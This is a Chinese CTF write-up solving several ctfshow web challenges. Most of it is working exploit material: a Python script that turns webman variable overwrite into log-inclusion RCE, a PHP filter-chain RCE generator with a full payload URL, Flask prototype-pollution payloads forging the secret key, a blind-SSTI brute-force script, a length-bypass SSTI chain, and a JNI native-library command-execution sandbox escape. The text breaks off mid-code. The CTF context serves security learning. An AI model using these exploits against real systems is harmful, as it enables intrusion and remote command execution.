ctfshow单身杯 wp
ctfshow单身杯 wp
签到·好玩的PHP
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow {
private $d = '';
private $s = '';
private $b = '';
private $ctf = '';
public function __destruct() {
$this->d = (string)$this->d;
$this->s = (string)$this->s;
$this->b = (string)$this->b;
if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
$dsb = $this->d.$this->s.$this->b;
if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
if (md5($dsb) === md5($this->ctf)) {
echo file_get_contents("/flag.txt");
}
}
}
}
}
}
unserialize($_GET["dsbctf"]);
可以用PHP中的特殊浮点数常量NAN和INF来构造payload,因为将这两个常量转成字符串类型之后的md5值与原先的浮点类型md5值相等,又由于类型不相等、长度均为3,所以可以满足最后三个if判断。由于在第一个判断条件中要求变量$dsb的三个字符互不相等,因此只能取INF来构造payload。
但是经过实操,数字也可以。
迷雾重重
看控制器
<?php
namespace app\controller;
use support\Request;
use support\exception\BusinessException;
class IndexController
{
public function index(Request $request)
{
return view('index/index');
}
public function testUnserialize(Request $request){
if(null !== $request->get('data')){
$data = $request->get('data');
unserialize($data);
}
return "unserialize测试完毕";
}
public function testJson(Request $request){
if(null !== $request->get('data')){
$data = json_decode($request->get('data'),true);
if(null!== $data && $data['name'] == 'guest'){
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}
public function testSession(Request $request){
$session = $request->session();
$session->set('username',"guest");
$data = $session->get('username');
return "session测试完毕 username: ".$data;
}
public function testException(Request $request){
if(null != $request->get('data')){
$data = $request->get('data');
throw new BusinessException("业务异常 ".$data,3000);
}
return "exception测试完毕";
}
}
有很多的功能点,但是大部分的作用都是混淆视听,真正可利用的漏洞点在testjson部分,这部分的view中的变量是可控的!

调试一下,打印输出handler的内容,因为其中调用了handler的render方法。

获得handler的内容后跟进render方法。
public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
{
$request = request();
$plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
$configPrefix = $plugin ? "plugin.$plugin." : '';
$viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
$app = $app === null ? ($request->app ?? '') : $app;
$baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
$__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";
if(isset($request->_view_vars)) {
extract((array)$request->_view_vars);
}
extract($vars);//重点
ob_start();
// Try to include php file.
try {
include $__template_path__;//重点
} catch (Throwable $e) {
ob_end_clean();
throw $e;
}
return ob_get_clean();
}
存在
extract($vars);//重点
include $__template_path__;//重点
发现有变量覆盖和文件包含
$var 就是 view方法的第二个参数,污染和过滤 直接导入符号表 形成变量覆盖漏洞
只需要覆盖掉$__template_path__即可转为文件包含漏洞
这里有两种方法,一种是官方wp中所说的找到可供包含的文件,一种是晨曦✌的方法,filter链
现在的问题是 需要找到可以控制的被包含文件
-
nginx apache 不存在,排除日志包含的思路
-
pearcmd 由于命令行启动 这里不能使用
php-fpm的方式 包含pearcmd.php来getshell -
session 文件包含 需要找到网站部署的目录名字 进行绝对路径包含 相对路径无法定位到
session文件 -
文件上传未开启 无法包含临时文件 和 文件上传
session -
远程文件包含 测试发现除了file协议 其他伪协议并未开启
法一
所以我们决定,包含框架日志文件,包含php代码会导致include失败,从而将报错信息不urlencode情况下,写入日志文件,正好包含getshell

下面需要确定的就是日志的绝对路径了,通过下面特殊方法获取

自己在本地测试一下就可以知道日志文件的格式
所以我们这道题的思路就是包含这个webman的日志文件,通过包含php代码会导致include失败这个特性,include失败后自然就会将报错信息写入日志文件,那么这个php代码也会被写入日志文件,接下来我们只要去包含这个日志文件那么就可以执行任意命令了。但是首先,我们需要知道网站的根目录,知道网站的根目录我们才能去包含webman这个日志文件。
在基于 Linux 的操作系统中,/proc 目录下存储了关于系统和运行中进程的信息。每个运行中的进程都会在 /proc/[pid]/cmdline 文件中保存该进程的启动命令行信息,其中可能包含启动该进程时使用的脚本或可执行文件路径。如果目标 Web 应用的主进程是由一个 PHP 文件(比如 start.php)启动的,cmdline 文件中就可能包含该 PHP 文件的路径信息。
import requests
import time
target='http://c664ff0a-070f-47bc-bf0a-9e9d0c2a8bab.challenge.ctf.show/'
def getwebroot():
print("Getting webroot...")
for i in range(1,300):
resp=requests.get(url=target+'index/testJson?data={{"name":"guest","__template_path__":"/proc/{}/cmdline"}}'.format(i))
time.sleep(0.2)
if "start.php" in resp.text:
print(f"Found start.php in /proc/{i}/cmdline")
webroot=resp.text.split("start_file=")[1][:-11]
print(webroot)
break
return webroot
def send_shell(webroot):
print("Sending shell...")
payload='index/testJson?data={{"name":"guest","__template_path__":"<?php `cat /s000ecretF1ag999.txt >{}/public/flag.txt`;?>"}}'.format(webroot)
resp2=requests.get(url=target+payload)
time.sleep(1)
def include_log(webroot):
print("Including log...")
payload='index/testJson?data={{"name":"guest","__template_path__":"{}/runtime/logs/webman-2024-11-14.log"}}'.format(webroot)
resp3=requests.get(url=target+payload)
time.sleep(5)
resp4=requests.get(url=target+'flag.txt')
print(resp4.text)
def exploit():
webroot=getwebroot()
send_shell(webroot)
include_log(webroot)
if __name__=='__main__':
exploit()
法二:PHP Filter链——基于oracle的文件读取攻击
Filter链所造成的危害的潜力从不会让攻击方感到意外,在PHP文件包含函数中使用filter chain会导致远程代码执行,本文发现PHP Filter链还会导致文件读取漏洞,造成这个漏洞的原因是基于错误的oracle。
我的理解:文件包含的一种非主流用法,include2shell,可以实现rce
https://xz.aliyun.com/t/12939?time__1311=GqGxuD9Qi%3Dn4lrzG7Dy7ILKiIeSioD#toc-0
https://m1racle-7.github.io/2024/10/07/PHP Filter链——基于oracle的文件读取攻击/
https://yvling.cn/2024/10/31/日常记录/2024-10-31-PHP Filter 链任意文件读取/index.html
脚本如下:
<?php
$base64_payload = "PD9waHAgc3lzdGVtKCJjYXQgL3MqIik7Pz4"; /*<?php system("cat /s*");?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932',
'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
);
$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";
foreach (str_split(strrev($base64_payload)) as $c) {
$filters .= $conversions[$c] . "|";
$filters .= "convert.base64-decode|";
$filters .= "convert.base64-encode|";
$filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";
$final_payload = "php://filter/{$filters}/resource=/etc/passwd";
echo($final_payload);
首先生成一个ls /的base64后上传payload。
https://d4d32707-19a5-4ce1-b9be-99e5b41a47f2.challenge.ctf.show/index/testJson?data={%22name%22:%22guest%22,%22__template_path__%22:%22php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd%22}

拿下了。
ez_inject
预期解:
登陆后看看功能点
有四个界面
第一个是一个简单的回声装置

secret界面如下

chat界面如下

也就是说让我们在注册界面去污染
登陆的时候发现带有cookie,长这样
eyJlY2hvX21lc3NhZ2UiOiJ7ezErMX19IiwiaXNfYWRtaW4iOjAsInVzZXJuYW1lIjoiYWRtaW4ifQ.ZzRCGg.jcdx1Eta7ZwaMDbjgj5KTHQjxjo
无法确认是jwt还是session,那就分别看看。

这么一看那就不是jwt了,确认是session了。

发现有个is_admin,根据之前的secret界面,我们是需要把is_admin设置为1的,那就说明我们需要找到secret_key。
根据我写在python原型链污染的笔记中,flask框架的secret_key是可以被污染的。
示例payload如下:
{
"__init__" : {
"__globals__" : {
"app" : {
"config" : {
"SECRET_KEY" :"Polluted~"
}
}
}
}
}
flask框架,那就是使用普通的merge函数进行污染。
意淫一下网站demo:
from flask import *
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'meteorkai'
class test:
def __init__(self):
pass
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
print(app.config['SECRET_KEY'])
instance = test()
payload = {
"__init__":{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"shuaige"
}
}
}
}
}
merge(payload, instance)
print(app.config['SECRET_KEY'])
{
"username":"meteorkai",
"password":"meteorkai",
"__init__":{
"__globals__":{
"app":{
"config":{
"SECRET_KEY":"shuaige"
}
}
}
}
}
构造如上payload进行污染。

登陆后伪造一下session。

伪造成功

存在SSTI模板注入了。
也不知道过滤了啥,内存马也打不进去,过滤感觉很多的亚子。
cycler["__in"+"it__"]
用这个payload发现有回县,那就慢慢试试。

cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag')
这里我发现直接
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read()
就可以出flag了,非预期解啊,这里其实还有一种非预期解,我待会再说。先来跟着预期解走!
预期解是ssti模板注入的盲注
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read(1)=='c'
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read(2)[1]=='t'

存在盲注的点!
写脚本盲注
import string
import requests
target='http://a10c89be-8fd7-434f-9523-781ea189a7f0.challenge.ctf.show/echo'
strings=string.ascii_lowercase+string.digits+'{}-'
flag=""
headers={
"Content-Type": "application/x-www-form-urlencoded",
"cookie":"user=eyJlY2hvX21lc3NhZ2UiOiJ5b3VyIGFuc3dlciBpcyBUcnVlIiwiaXNfYWRtaW4iOjEsInVzZXJuYW1lIjoibWV0ZW9ya2FpIn0.ZzRT-w.QRUoptsFlBQwrsxuwbrVMELQE54"
}
for i in range(1,50):
for k in strings:
temp=flag+k
payload='''
cycler["__in"+"it__"]["__glo"+"bals__"]["__bui"+"ltins__"].open('/flag').read({})=='{}'
'''.format(i,temp)
data={"message":payload}
print(payload)
response=requests.post(url=target,data=data,headers=headers)
if response.status_code==200 and 'your answer is True' in response.text:
flag+=k
print(flag)
if k=="}":
exit()
break
else:
print("byebye")
break
非预期解:
_static_url_path
在我的python原型链污染笔记中有详细说过
由于这是一个flask框架应用,所以是可以使用这种方法的。
将静态文件的folder改成根目录,那么我们访问/static/其实里面显示的就是根目录下的内容
{
"username":"kkk",
"password":"kkk",
"__init__":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
}
}
然后访问/static/flag就可以啦!
ezzz_ssti
啥也没有过滤,可以直接打,但是把长度限制为40
{{lipsum.__globals__.os.popen('ls').re}}
这么长的payload已经是极限
Flask 框架中存在 config 全局对象,用来保存配置信息。
config 对象实质上是一个字典的子类,可以像字典一样操作。
{{config}}

要更新字典,我们可以使用字典中的update()方法
用 update() 方法 + 关键字参数更新字典从而实现长度的绕过!
Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}
{%set x=config.update(a=config.update)%}
{%set x=config.a(b=lipsum.__globals__)%}
{%set x=config.a(c=config.b.os)%}
{%set x=config.a(d=config.c.popen)%}
{{config.d('ls /').read()}}
{{config.d('cat /f*').read()}}
姿势+1!
简单的文件上传
考点为java沙箱绕过

可以上传jar包,执行jar包,删除jar包
首先上传Runtime 的getshell 包,发现没有执行权限

也就是说java -jar 命令前面加了 -Djava.securityManager 参数,policy文件内容未知
Java 安全管理器(java.security.Manager)是一个用于增强 Java 应用程序安全性的重要机制,它可以控制程序对系统资源的访问权限,如文件访问、网络连接、加载外部库等。启用后,Java 程序会受限于一组安全策略,这些策略会控制哪些操作是允许的,哪些操作是不允许的。这里runtime的getshell包正是因为此而被阻止。
经过测试后,可以知道jvm对 uploads 有读权限,同时有loadLibrary.*权限
具有LoadLibrary.*的权限,首先我们要知道LoadLibrary是干嘛的。
loadLibrary是 Java 中用于加载本地共享库(如.so文件、.dll文件)的一个方法。它是通过 Java 的 Java Native Interface (JNI) 机制来实现与本地代码(通常是 C 或 C++ 编写的)进行交互的关键方法之一。在 Java 程序中,当你需要调用本地方法时,你可以使用
System.loadLibrary来加载一个本地库文件(例如.so或.dll文件),并且该库包含了与 Java 程序交互的本地代码。
所以只要我们上传了so文件,我们就可以通过上传jar包来加载so文件从而执行本地共享库中的命令。
但是这里只能上传jar包,怎么办呢?
把so文件后缀改成jar就行,因为这个so文件只需要上传后调用就行,又不用干其他事情。
恶意方法为 CTFshowCodeManager.eval
然后构造外部jar文件
package com.ctfshow;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
CTFshowCodeManager.eval("cat /secretFlag000.txt");
}
}
package com.ctfshow;
public class CTFshowCodeManager {
static {
System.load("/var/www/html/uploads/CTFshowCodeManager.jar");
}
public static native String eval(String cmd);
}
刚开始搞了半天不行,后来才知道包名一定要是com.ctfshow?!
然后执行上传的jar包就能实现命令执行了
后来反编译一下官方wp提供的恶意so文件:

包名(package)在 Java 中与 JNI 调用的本地库中的函数有关,特别是在 JNI 中通过 JNI 方法调用 C/C++ 编写的本地代码时。具体来说,Java 的类名、方法名、以及它们所在的包名需要与本地库中相应的 C/C++ 函数的符号匹配。下面我会详细解释为什么包名和 JNI 函数的匹配很重要,以及包名的变化如何影响本地库的调用。
java包名与本地方法的关系
当你使用 JNI 调用本地方法时,JNI 会根据 Java 类的完整类名来查找本地库中的符号。在 JNI 中,类名和方法名会被转换成 C/C++ 风格的命名方式,因此 包名、类名和方法名的变化都会影响本地库的符号匹配。
示例:
假设你有一个 Java 类,如下所示:
package com.ctfshow;
public class CTFshowCodeManager {
public native String eval(String cmd);
}
这段代码声明了一个 native 方法 eval(String cmd),这个方法将在本地代码中实现。
JNI 在查找本地方法时,会根据 Java 类的包名和类名生成一个特定的符号。
com.ctfshow.CTFshowCodeManager 类的方法 eval 会映射为:
C/C++ 中的符号 Java_com_ctfshow_CTFshowCodeManager_eval。
因此,如果你在 C/C++ 本地代码中实现的方法名不匹配这个生成的 JNI 函数名(包括包名的部分),JNI 就找不到这个方法,从而导致调用失败。从而抛出 UnsatisfiedLinkError 错误。
Java JNI调用本地链接库:
下面我将用自己编写的恶意so文件与jar包进行复现:
首先编写native方法:
public class NativeLibraryExample {
public native void nativeMethod(String cmd);
public static void main(String[] args) {
NativeLibraryExample example = new NativeLibraryExample();
example.nativeMethod("mate-calc"); // 调用native方法
}
}
编译成class后生成头文件

然后使用C/C++实现本地方法
#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
然后是编译so文件,这里去kali编译,尽量保证目标操作系统与我们一致。
gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c
gcc -fPIC -I"/usr/local/java/jdk1.8.0_65/include" -I"/usr/local/java/jdk1.8.0_65/include/linux" -shared -o libcmd.so JniClass.c

虽然这里爆出了警告,但是不影响编译。
然后我们要做的就是加载so文件执行命令。
public class getshell {
public native void nativeMethod(String cmd);
public static void main(String[] args) {
System.load("/var/www/html/uploads/libcmd.jar");
